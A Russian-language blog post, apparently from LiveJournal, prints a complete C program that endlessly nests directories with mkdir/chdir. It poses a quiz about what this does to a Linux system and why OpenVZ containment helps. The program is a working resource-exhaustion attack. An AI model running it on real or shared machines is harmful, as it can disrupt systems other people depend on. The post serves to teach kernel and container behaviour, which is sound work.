k001
k001
:...
April 2032
        1 2 3
4 5 6 7 8 9 10
11 12 13 14 15 16 17
18 19 20 21 22 23 24
25 26 27 28 29 30

mkdir/chdir эксплойт

Update: сей пост был как-то неправильно опубликован и посему не попал, похоже, во френдленты. Посему выкладываю его вновь.

Судя по всему, читателям моей уютненькой жежешечки понравился эксплойт из предыдущего сообщения. Поэтому я решил

  1. Привести его текст полностью.
  2. Устроить что-то вроде викторины.

Собственно, вот текст программы:

#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>

#define DIRNAME "dcache-test-dir"

int main(void) {
        int i = 0;
        char dir[1024];
        
        getcwd(dir, sizeof(dir));
        
        while (1) {
                if (mkdir(DIRNAME, S_IRWXU) < 0) {
                        perror("Can't mkdir");
                        break;
                }
                if (chdir(DIRNAME) < 0) {
                        perror("Can't chdir");
                        break;
                }
                i++;
        }

        printf("Created/entered into %d directories!\n", i);
        /* Cleanup */
        chdir(dir);
        system("rm -rf " DIRNAME);
        return 1;
}

Вопросы будут такие:

  1. Что и почему произойдёт в Линукс-системе, где такое запустят?
  2. Почему OpenVZ от этого помогает?

Комменты скринятся. Сам отвечу в понедельник после обеда.

From:
( )Anonymous- this user has disabled anonymous posting.
(will be screened)
Identity URL: 
(will be screened)
имя пользователя:    
Вы должны предварительно войти в LiveJournal.com
 
E-mail для ответов: 
Вы сможете оставлять комментарии, даже если не введете e-mail.
Но вы не сможете получать уведомления об ответах на ваши комментарии!
Внимание: на указанный адрес будет выслано подтверждение.
(will be screened)
Username:
Password:
Subject:
No HTML allowed in subject
Message:



Notice! This user has turned on the option that logs IP addresses of anonymous posters.